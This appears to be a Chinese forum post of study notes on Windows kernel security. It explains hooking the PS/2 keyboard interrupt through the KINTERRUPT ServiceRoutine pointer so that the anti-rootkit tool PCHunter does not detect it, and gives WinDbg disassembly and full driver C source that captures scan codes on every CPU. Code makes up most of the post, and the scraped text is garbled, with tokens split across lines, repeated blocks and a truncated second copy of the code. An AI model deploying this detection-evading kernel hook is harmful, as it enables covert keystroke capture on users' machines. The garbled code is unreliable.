读《Windows内核安全》的一点感悟,记录一下,如有纰漏,还请大家多多批评指正。本文还是以书上介绍的Hook键盘中断为例,下文的“书”都指的是《Windows内核安全》。
这是在Windbg里运行指令!idt -a
的输出的IDT表项,一般大家做IDT Hook都是去改红框里的那个地址。
但是这么改pcHunter一下就能识别出来。很显然,pcHunter就是识别IDT表里存的那个地址所在的模块来判定是否被hook的。
实际上IDT表里写的那个地址并不是实际的中断服务例程,而是对应中断对象的中断分派代码的地址,这个中断分派代码最终会去调用中断服务例程来处理中断,这里有关中断对象的概念可以去看书的第22章。例如,在IDT的0x81
表项存放的地址为0x874b8a58
,其实就是对应的中断对象0x874b8a00
的DispatchCode
成员(偏移为0X58
)。
可以去跟到这个中断分派代码(即IDT中存的地址)里去看一看,其实实际上就是去调用对应中断对象的中断服务例程。
那如果我们去Hook这个中断对象中的ServiceRoutine
成员,岂不是pcHunter就察觉不到了,效果还与Hook IDT表一样。
完整的代码也不长,就贴在下面,代码是基于书附的ps2intcap.c
改的,修改的关键部分在HOOK_IDT()
函数中。
可以看到pcHunter其实是查不出来这个IDT表项被Hook了的,它这个是红色的我也不知道为啥,开机就这样。
不过这种方法不能Hook没有中断对象的表项,就比如int 3
中断,IDT表项里直接填的就是中断服务例程。
最后,我感觉这种方法肯定之前有人写过了,但是我搜了一圈也没啥结果,于是就记录一下,供大家参考。
参考资料
《Windows内核安全与驱动开发》
https://www.4hou.com/posts/wR8w
https://wooyun.js.org/drops/%E6%98%BE%E7%A4%BA%E6%AF%8F%E4%B8%AACPU%E7%9A%84IDT%E4%BF%A1%E6%81%AF.html
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/intobj/kinterrupt.htm
874b8a58
54
push esp ;中断分派代码的开头
874b8a59
55
push ebp
874b8a5a
53
push ebx
...
874b8b39
bf008a4b87 mov edi,
874B8A00h
;把中断对象的地址存入edi中
874b8b3e
e9fd2b99fc jmp nt!KiInterruptDispatch (
83e4b740
)
nt!KiInterruptDispatch:
83e4b740
8bec
mov ebp, esp
83e4b742
8b472c
mov eax, dword ptr [edi
+
2Ch
]
...
83e4b7a5
8b4718
mov eax, dword ptr [edi
+
18h
]
83e4b7a8
50
push eax ;压栈ServiceContext
83e4b7a9
57
push edi ;压栈中断对象
83e4b7aa
ff570c call dword ptr [edi
+
0Ch
] ;调用ServiceRoutine
...
874b8a58
54
push esp ;中断分派代码的开头
874b8a59
55
push ebp
874b8a5a
53
push ebx
...
874b8b39
bf008a4b87 mov edi,
874B8A00h
;把中断对象的地址存入edi中
874b8b3e
e9fd2b99fc jmp nt!KiInterruptDispatch (
83e4b740
)
nt!KiInterruptDispatch:
83e4b740
8bec
mov ebp, esp
83e4b742
8b472c
mov eax, dword ptr [edi
+
2Ch
]
...
83e4b7a5
8b4718
mov eax, dword ptr [edi
+
18h
]
83e4b7a8
50
push eax ;压栈ServiceContext
83e4b7a9
57
push edi ;压栈中断对象
83e4b7aa
ff570c call dword ptr [edi
+
0Ch
] ;调用ServiceRoutine
...
/
/
程序在
32
位的Win7 pro SP1是跑通的
/
/
由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
/
/
确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned
long
P2C_U32;
((P2C_U32)(((P2C_U16)((P2C_U32)(low) &
0xffff
)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) &
0xffff
))) <<
16
))
((P2C_U16)(((P2C_U32)data) &
0xffff
))
((P2C_U16)(((P2C_U32)data) >>
16
))
/
/
从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
typedef struct P2C_IDTR_ {
P2C_U16 limit;
/
/
范围
P2C_U32 base;
/
/
基地址(就是开始地址)
} P2C_IDTR,
*
PP2C_IDTR;
/
/
下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void
*
p2cGetIdt()
{
P2C_IDTR idtr;
/
/
一句汇编读取到IDT的位置。
_asm sidt idtr
return
(void
*
)idtr.base;
}
typedef struct _KINTERRUPT
{
SHORT
Type
;
SHORT Size;
LIST_ENTRY InterruptListEntry;
UCHAR
*
ServiceRoutine;
UCHAR
*
MessageServiceRoutine;
ULONG MessageIndex;
PVOID ServiceContext;
ULONG SpinLock;
ULONG TickCount;
ULONG
*
ActualLock;
PVOID DispatchAddress;
ULONG Vector;
UCHAR Irql;
UCHAR SynchronizeIrql;
UCHAR FloatingSave;
UCHAR Connected;
CHAR Number;
UCHAR ShareVector;
char Pad[
3
];
KINTERRUPT_MODE Mode;
KINTERRUPT_POLARITY Polarity;
ULONG ServiceCount;
ULONG DispatchCount;
UINT64 Rsvd1;
ULONG DispatchCode[
135
];
} KINTERRUPT,
*
PKINTERRUPT;
typedef struct P2C_IDT_ENTRY_ {
P2C_U16 offset_low;
P2C_U16 selector;
P2C_U8 reserved;
P2C_U8
type
:
4
;
P2C_U8 always0 :
1
;
P2C_U8 dpl :
2
;
P2C_U8 present :
1
;
P2C_U16 offset_high;
} P2C_IDTENTRY,
*
PP2C_IDTENTRY;
P2C_U32 g_old_addr
=
NULL;
/
/
首先读端口获得按键扫描码打印出来。然后将这个扫
/
/
描码写回端口,以便别的应用程序能正确接收到按键。
/
/
如果不想让别的程序截获按键,可以写回一个任意的
/
/
数据。
ULONG p2cWaitForKbRead()
{
int
i
=
100
;
P2C_U8 mychar;
do
{
_asm
in
al,
0x64
_asm mov mychar, al
KeStallExecutionProcessor(
50
);
if
(!(mychar & OBUFFER_FULL))
break
;
}
while
(i
-
-
);
if
(i)
return
TRUE;
return
FALSE;
}
ULONG p2cWaitForKbWrite()
{
int
i
=
100
;
P2C_U8 mychar;
do
{
_asm
in
al,
0x64
_asm mov mychar, al
KeStallExecutionProcessor(
50
);
if
(!(mychar & IBUFFER_FULL))
break
;
}
while
(i
-
-
);
if
(i)
return
TRUE;
return
FALSE;
}
void p2cUserFilter()
{
static P2C_U8 sch_pre
=
0
;
P2C_U8 sch;
DbgPrint(
"p2cUserFilter\n"
);
p2cWaitForKbRead();
_asm
in
al,
0x60
_asm mov sch, al
DbgPrint(
"p2c: scan code = 0x%x\n"
, sch);
/
/
把数据写回端口,以便让别的程序可以正确读取。
if
(sch_pre !
=
sch)
{
sch_pre
=
sch;
_asm mov al,
0xd2
_asm out
0x64
, al
p2cWaitForKbWrite();
_asm mov al, sch
_asm out
0x60
, al
}
}
__declspec(naked) p2cInterruptProc()
{
__asm
{
pushad
/
/
保存所有的通用寄存器
pushfd
/
/
保存标志寄存器
push fs
mov bx,
0x30
mov fs, bx
push ds
push es
call p2cUserFilter
/
/
调一个我们自己的函数。 这个函数将实现
/
/
一些我们自己的功能
pop es
pop ds
pop fs
popfd
/
/
恢复标志寄存器
popad
/
/
恢复通用寄存器
jmp g_old_addr
/
/
跳到原来的中断服务程序
}
}
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b)
{
PP2C_IDTENTRY idt_item
=
(PP2C_IDTENTRY)p2cGetIdt();
/
/
将指针指向PS
/
2
中断项
idt_item
+
=
nIndex;
/
/
dispatchCode地址
P2C_U32 dispatchCode
=
P2C_MAKELONG(idt_item
-
>offset_low, idt_item
-
>offset_high);
PKINTERRUPT interrupt_object
=
(PKINTERRUPT)(dispatchCode
-
0x58
);
if
(b)
{
g_old_addr
=
interrupt_object
-
>ServiceRoutine;
interrupt_object
-
>ServiceRoutine
=
p2cInterruptProc;
DbgPrint(
"源地址为%x 替换后的地址%x\n"
, g_old_addr, p2cInterruptProc);
}
else
{
interrupt_object
-
>ServiceRoutine
=
g_old_addr;
DbgPrint(
"替换为原来的地址"
);
}
}
/
/
驱动卸载函数
VOID IDT_Unload(IN PDRIVER_OBJECT DriverObject)
{
for
(
int
i
=
0
; i < KeNumberProcessors ;i
+
+
)
{
KeSetSystemAffinityThread(i
+
1
);
HOOK_IDT(
0x81
, FALSE);
KeRevertToUserAffinityThread();
}
LARGE_INTEGER interval;
DbgPrint(
"p2c: unloading\n"
);
/
/
睡眠
5
秒。等待所有irp处理结束
interval.QuadPart
=
(
5
*
1000
*
DELAY_ONE_MILLISECOND);
KeDelayExecutionThread(KernelMode, FALSE, &interval);
}
/
/
驱动程序入口
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
/
/
处理多核
/
/
书上说是给其他CPU投递DCP进行HOOK来处理多核的情况
/
/
但是我试了试这种方法似乎也可以
for
(
int
i
=
0
; i < KeNumberProcessors ;i
+
+
)
{
KeSetSystemAffinityThread(i
+
1
);
HOOK_IDT(
0x81
, TRUE);
KeRevertToUserAffinityThread();
}
DriverObject
-
>DriverUnload
=
IDT_Unload;
return
STATUS_SUCCESS;
}
/
/
程序在
32
位的Win7 pro SP1是跑通的
/
/
由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
/
/
确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned
long
P2C_U32;
((P2C_U32)(((P2C_U16)((P2C_U32)(low) &
0xffff
)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) &
0xffff
))) <<
16
))
((P2C_U16)(((P2C_U32)data) &
0xffff
))
((P2C_U16)(((P2C_U32)data) >>
16
))
/
/
从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
typedef struct P2C_IDTR_ {
P2C_U16 limit;
/
/
范围
P2C_U32 base;
/
/
基地址(就是开始地址)
} P2C_IDTR,
*
PP2C_IDTR;
/
/
下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void
*
p2cGetIdt()
{
P2C_IDTR idtr;
/
/
一句汇编读取到IDT的位置。
_asm sidt idtr
return
(void
*
)idtr.base;
}
typedef struct _KINTERRUPT
{
SHORT
Type
;
SHORT Size;
LIST_ENTRY InterruptListEntry;
UCHAR
*
ServiceRoutine;
UCHAR
*
MessageServiceRoutine;
ULONG MessageIndex;
PVOID ServiceContext;
ULONG SpinLock;
ULONG TickCount;
ULONG
*
ActualLock;
PVOID DispatchAddress;
ULONG Vector;
UCHAR Irql;
UCHAR SynchronizeIrql;
UCHAR FloatingSave;
UCHAR Connected;
CHAR Number;
UCHAR ShareVector;
char Pad[
3
];
KINTERRUPT_MODE Mode;
KINTERRUPT_POLARITY Polarity;
ULONG ServiceCount;
ULONG DispatchCount;
UINT64 Rsvd1;
ULONG DispatchCode[
135
];
} KINTERRUPT,
*
PKINTERRUPT;
typedef struct P2C_IDT_ENTRY_ {
P2C_U16 offset_low;
P2C_U16 selector;
P2C_U8 reserved;
P2C_U8
type
:
4
;
P2C_U8 always0 :
1
;
P2C_U8 dpl :
2
;
P2C_U8 present :
1
;
P2C_U16 offset_high;
} P2C_IDTENTRY,
*
PP2C_IDTENTRY;
P2C_U32 g_old_addr
=
NULL;
/
/
首先读端口获得按键扫描码打印出来。然后将这个扫
/
/
描码写回端口,以便别的应用程序能正确接收到按键。
/
/
如果不想让别的程序截获按键,可以写回一个任意的
/
/
数据。
ULONG p2cWaitForKbRead()
{
int
i
=
100
;
P2C_U8 mychar;
do
{
_asm
in
al,
0x64
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-6-28 16:03
被危楼高百尺编辑
,原因: 改注释